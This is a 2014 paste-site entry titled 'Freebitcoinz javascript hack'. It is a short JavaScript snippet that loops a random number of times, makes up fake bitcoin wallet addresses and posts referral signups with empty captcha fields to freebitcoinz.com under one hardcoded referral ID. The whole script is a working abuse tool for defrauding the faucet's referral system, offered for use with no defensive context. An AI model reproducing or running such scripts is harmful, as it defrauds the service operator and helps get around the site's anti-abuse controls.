Untitled


SUBMITTED BY: Guest

DATE: Jan. 25, 2014, 1:52 a.m.

FORMAT: JavaScript

SIZE: 2.2 kB

HITS: 828

  1. Freebitcoinz javascript hack
  2. function createCookie(name,value,days) {
  3. if (days) {
  4. var date = new Date();
  5. date.setTime(date.getTime()+(days*24*60*60*1000));
  6. var expires = "; expires="+date.toGMTString();
  7. }
  8. else var expires = "";
  9. document.cookie = name+"="+value+expires+"; path=/";
  10. }
  11. function readCookie(name) {
  12. var nameEQ = name + "=";
  13. var ca = document.cookie.split(';');
  14. for(var i=0;i < ca.length;i++) {
  15. var c = ca[i];
  16. while (c.charAt(0)==' ') c = c.substring(1,c.length);
  17. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  18. }
  19. return null;
  20. }
  21. function updateCookie(name, value, days)
  22. {
  23. eraseCookie(name);
  24. createCookie(name,value,days);
  25. }
  26. function eraseCookie(name) {
  27. createCookie(name,"",-1);
  28. }
  29. function getRandomInt(min, max)
  30. {
  31. return Math.floor(Math.random() * (max - min + 1) + min);
  32. }
  33. function randString(n)
  34. {
  35. if(!n)
  36. {
  37. n = 5;
  38. }
  39. var text = '';
  40. var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
  41. for(var i=0; i < n; i++)
  42. {
  43. text += possible.charAt(Math.floor(Math.random() * possible.length));
  44. }
  45. return text;
  46. }
  47. $.wait = function( callback, seconds){
  48. return window.setTimeout( callback, seconds * 1000 );
  49. }
  50. function run( n, refID )
  51. {
  52. if( n == 0 )
  53. return console.log('Done');
  54. var addr = '1' + randString(34);
  55. updateCookie('address', addr, 1);
  56. var pdata = 'referral='+refID+'&wallet_address='+addr+'&recaptcha_challenge_field=&recaptcha_response_field=';
  57. $.post('http://freebitcoinz.com/', pdata, function(){
  58. $.post('http://freebitcoinz.com/extra/', {'extras':'done'}, function(){
  59. console.log( "Worker " + n + " wallet " + addr );
  60. return run(n-1, refID);
  61. });
  62. });
  63. }
  64. //20120
  65. //24901
  66. //26565
  67. var randRef = getRandomInt(100, 500);
  68. run(randRef,'26565');

comments powered by Disqus